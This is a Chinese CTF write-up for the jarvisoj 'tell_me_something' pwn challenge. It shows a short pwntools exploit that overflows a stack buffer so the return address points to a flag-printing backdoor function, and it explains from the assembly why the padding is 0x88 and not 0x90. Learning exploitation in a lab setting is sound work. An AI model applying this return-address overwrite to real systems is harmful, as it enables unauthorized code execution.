下载文件,首先checksec检查一下保护,发现只开启了NX 堆栈不可执行。
接下来我们拖进IDA看一下程序的主要流程。
很简洁的程序,可以看到read函数存在栈溢出。
再来看看有什么后门函数可以利用吗?
可以看到这个函数的意思就是读取本地的flag,然后进行输出。
只要我们进行栈溢出,将返回地址覆盖成这个函数的地址就可以拿到flag了。
1 from pwn import *
2 import time
3 p = process('./jarvisoj_tell_me_something')
4 context.log_level = 'debug'
5
6 p.recv()
7 flag_addr = 0x0400620
8 payload = 'a'*0x88 + p64(flag_addr)
9 p.send(payload)
10 sleep(1)
11 p.recv()
如果你翻到这个博客,其实你就是有一定基础的,你得问题应该在为什么偏移是0x88,而不是0x88+0x8,我刚开始学习pwn的时候每次都是用pwndbg调试确定偏移,后来越做越有经验,直接看ida的伪代码,看定义变量那里时候,就可以看到栈距离rbp的距离是多少,只要那个距离再加上rbp的八个字节就可以覆盖到返回地址了。
这道题刚开始的时候我也确实是那样做了,但是发现打不通。后来试着看汇编,发现了这道题的函数开始和函数结束时候的栈的准备和平时见的不太一样。
我们先来看一下平时见的多的准备。
如图所示,先将ebp压入栈,然后将esp的值赋给ebp,然后esp再减去对应的栈空间的大小。这个是函数调用时候的栈准备,函数主要流程执行完成后栈恢复的过程就是面的逆过程。
接下来我们看一下这道题的汇编
起步刚开始就直接是rsp减去0x88,其实这里是没有把rbp压入栈的,所以我们只需要0x88的数据大小,就可以开始覆盖返回地址了。